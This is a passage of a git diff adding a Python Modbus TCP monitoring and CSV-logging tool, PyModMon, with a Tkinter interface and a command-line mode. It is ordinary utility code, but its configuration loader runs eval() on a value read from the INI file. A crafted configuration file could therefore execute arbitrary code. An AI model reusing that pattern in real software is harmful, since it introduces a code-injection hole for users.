''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with 